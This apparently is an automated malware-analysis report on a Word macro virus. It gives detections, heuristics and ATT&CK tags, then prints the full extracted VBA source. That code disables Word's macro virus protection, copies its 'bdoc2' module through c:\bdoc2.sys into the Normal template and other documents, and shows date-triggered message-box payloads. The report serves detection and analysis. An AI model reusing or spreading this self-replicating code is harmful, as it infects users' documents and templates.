MALICIOUS
260
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The file contains VBA macros, including AutoOpen and AutoClose functions, which are indicative of malicious intent. The AutoOpen macro attempts to export the 'bdoc2' VBA component to 'c:\bdoc2.sys' and then saves the document, likely to facilitate the execution of a second-stage payload. The presence of legacy WordBasic macro virus markers and ClamAV detections further support its malicious nature.
Heuristics 5
-
ClamAV: Doc.Trojan.CrazyMan-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.CrazyMan-1
-
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 12617 bytes |
SHA-256: 7580fb9aab03569f3d5b4ff0b79505c9b5d96debc0b65489256944786016124e |
|||
|
Detection
ClamAV:
Doc.Trojan.Smac-4
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "bdoc2"
Sub AutoOpen()
On Error Resume Next
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Options.ConfirmConversions = False
For i = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(i).Name = "bdoc2" Then NormInstall = True
Next i
For i = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(i).Name = "bdoc2" Then ActivInstall = True
Next i
If ActivInstall = True And NormInstall = True Then GoTo Label_Exit
If ActivInstall = True And NormInstall = False Then Set Doc = ActiveDocument
If ActivInstall = False And NormInstall = True Then Set Doc = NormalTemplate
Doc.VBProject.VBComponents("bdoc2").Export ("c:\bdoc2.sys")
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
Label_Exit:
Application.ScreenUpdating = True
Application.DisplayAlerts = wdAlertsAll
Application.EnableCancelKey = wdCancelInterrupt
End Sub
Sub AutoClose()
On Error Resume Next
DisplayAlerts = wdAlertsNone
For i = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(i).Name = "bdoc2" Then NormInstall = True
Next i
For i = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(i).Name = "bdoc2" Then ActiveInstall = True
Next i
If ActiveInstall = True And NormInstall = True Then GoTo Label_Exit
If ActiveInstall = True And NormInstall = False Then
NormalTemplate.VBProject.VBComponents.Import ("c:\bdoc2.sys")
NormalTemplate.Save
Else
Dname = ActiveDocument.FullName
If Left$(Dname, 8) = "Document" Then GoTo Label_Exit
ActiveDocument.VBProject.VBComponents.Import ("c:\bdoc2.sys")
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
End If
Label_Exit:
Kill ("c:\bdoc2.sys")
If Day(Now) = 2 And Month(Now) = 9 Then
For i = 1 To 1000000
msg = Chr(-11328) + Chr(-11082) + Chr(-19004) + Chr(-10333) + Chr(-18269) + Chr(32) + Chr(44) + Chr(32) + Chr(-13830) + Chr(-14123) + Chr(-16404) + Chr(-16170) + Chr(32) + Chr(33) + Chr(33) + Chr(33)
MsgBox msg, vbCritical
Next i
End If
End Sub
Public Sub AutoExec()
On Error Resume Next
Application.DisplayAlerts = wdAlertsNone
Application.ScreenUpdating = False
Options.VirusProtection = False
End Sub
Sub AutoExit()
On Error Resume Next
Kill ("c:\bdoc2.sys")
If Day(Now) = 13 Then MsgBox Chr(-12604) + Chr(-17154) + Chr(-18191) + Chr(-13635) + Chr(-19219) + Chr(-12557) + Chr(44) + Chr(-14357) + Chr(-11871) + Chr(-11325) + Chr(-19007) + Chr(-20250) + Chr(-14099) + Chr(-17154) + Chr(33) + Chr(80) + Chr(114) + Chr(101) + Chr(115) + Chr(115) + Chr(32) + Chr(79) + Chr(75) + Chr(32) + Chr(46), vbCritical
End Sub
Sub AutoNew()
On Error Resume Next
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Options.ConfirmConversions = False
NormalTemplate.VBProject.VBComponents("bdoc2").Export ("c:\bdoc2.sys")
End Sub
Sub ToolsMacro()
End Sub
Sub FileTemplates()
End Sub
Sub ViewVBCode()
End Sub
Sub HelpWordPerfectHelp()
End Sub
Sub ToolsCustomize()
End Sub
' Processing file: /opt/analyzer/scan_staging/ffe392fe7a7143d08b926a55114addad.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 903 bytes
' Macros/VBA/bdoc2 - 5418 bytes
' Line #0:
' FuncDefn (Sub AutoOpen())
' Line #1:
' OnError (Resume Next)
' Line #2:
' LitVarSpecial (False)
' Ld Options
' MemSt VirusProtection
' Line #3:
' LitVarSpecial (False)
' Ld Options
' MemSt SaveNormalPrompt
' Line #4:
' LitVarSpecial (False)
' Ld Options
' MemSt ConfirmConversions
' Line #5:
' StartForVariable
' Ld i
' EndForVariable
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponen
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.